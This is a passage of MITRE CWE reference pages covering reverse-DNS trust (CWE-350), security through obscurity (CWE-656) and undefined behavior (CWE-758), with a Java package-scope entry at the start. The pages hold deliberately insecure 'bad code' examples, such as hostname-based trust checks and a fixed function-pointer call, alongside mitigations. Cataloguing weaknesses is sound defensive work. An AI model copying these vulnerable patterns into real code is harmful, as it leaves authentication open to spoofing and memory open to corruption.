NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Any data in a Java package can be accessed outside of the Java framework if the package is distributed.
Integrity

Technical Impact: Modify Application Data

The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
package math;
public class Lebesgue implements Integration{
public final Static String youAreHidingThisFunction(functionToIntegrate){

return ...;
}
}
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPRelying on package-level scope
The CERT Oracle Secure Coding Standard for Java (2011)MET04-JDo not increase the accessibility of overridden or hidden methods
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Relying on Package-level Scope

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

Weakness ID: 350
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
+ Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the product to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the product performs a reverse DNS resolution for an IP address, if an attacker controls the DNS server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.807Reliance on Untrusted Inputs in a Security Decision
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

Malicious users can fake authentication information by providing false DNS information.
+ Demonstrative Examples

Example 1

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)
Example Language:
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
trusted = true;
} else {
trusted = false;
}
(bad code)
Example Language: Java 
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}
(bad code)
Example Language: C# 
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Example 2

In these examples, a connection is established if a request is made by a trusted host.

(bad code)
Example Language:
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {

memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
(bad code)
Example Language: Java 
while(true) {
DatagramPacket rp=new DatagramPacket(rData,rData.length);
outSock.receive(rp);
String in = new String(p.getData(),0, rp.getLength());
InetAddress IPAddress = rp.getAddress();
int port = rp.getPort();
if ((rp.getHostName()==...) & (in==...)) {

out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
outSock.send(sp);
}
}

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

+ Observed Examples
ReferenceDescription
Does not do double-reverse lookup to prevent DNS spoofing.
Does not verify reverse-resolved hostnames in DNS.
Authentication bypass using spoofed reverse-resolved DNS hostnames.
Authentication bypass using spoofed reverse-resolved DNS hostnames.
Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.
Reverse DNS lookup used to spoof trusted content in intermediary.
Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
+ Potential Mitigations

Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproperly Trusted Reverse DNS
CLASPTrusting self-reported DNS name
Software Fault PatternsSFP29Faulty endpoint authentication
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 24: Trusting Network Name Resolution." Page 361. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 16, "DNS Spoofing", Page 1002. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2013-06-23CWE Content TeamMITRE
CWE-247 and CWE-292 deprecated and merged into CWE-350 to address duplicates.
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Taxonomy_Mappings, Type
2014-02-18CWE Content TeamMITRE
updated Description, Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Improperly Trusted Reverse DNS

CWE-656: Reliance on Security Through Obscurity

Weakness ID: 656
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.
+ Extended Description
This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.
+ Alternate Terms
Never Assuming your secrets are safe
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.259Use of Hard-coded Password
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.321Use of Hard-coded Cryptographic Key
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.472External Control of Assumed-Immutable Web Parameter
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Other

The security mechanism can be bypassed easily.
+ Demonstrative Examples

Example 1

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Example 1 References:
[REF-542] Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. 1981-09. <https://www.ietf.org/rfc/rfc0793.txt>. URL validated: 2023-04-07.
+ Observed Examples
ReferenceDescription
Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client.
Hard-coded cryptographic key stored in executable program.
Hard-coded cryptographic key stored in executable program.
Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.
+ Potential Mitigations

Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-544] Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005-09-14. <https://web.archive.org/web/20220126060054/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/never-assuming-that-your-secrets-are-safe>. URL validated: 2023-04-07.
[REF-542] Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. 1981-09. <https://www.ietf.org/rfc/rfc0793.txt>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Reliance on Security through Obscurity

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID: 758
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
+ Extended Description
This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.474Use of Function with Inconsistent Implementations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.562Return of Stack Variable Address
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.587Assignment of a Fixed Address to a Pointer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.588Attempt to Access Child of a Non-structure Pointer
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1038Insecure Automated Optimizations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1102Reliance on Machine-Dependent Data Representation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1103Use of Platform-Dependent Third Party Components
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1105Insufficient Encapsulation of Machine-Dependent Functionality
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

(bad code)
Example Language:
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Example 2

The following function returns a stack address.

(bad code)
Example Language:
char* getName() {
char name[STR_MAX];
fillInName(name);
return name;
}
+ Observed Examples
ReferenceDescription
Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
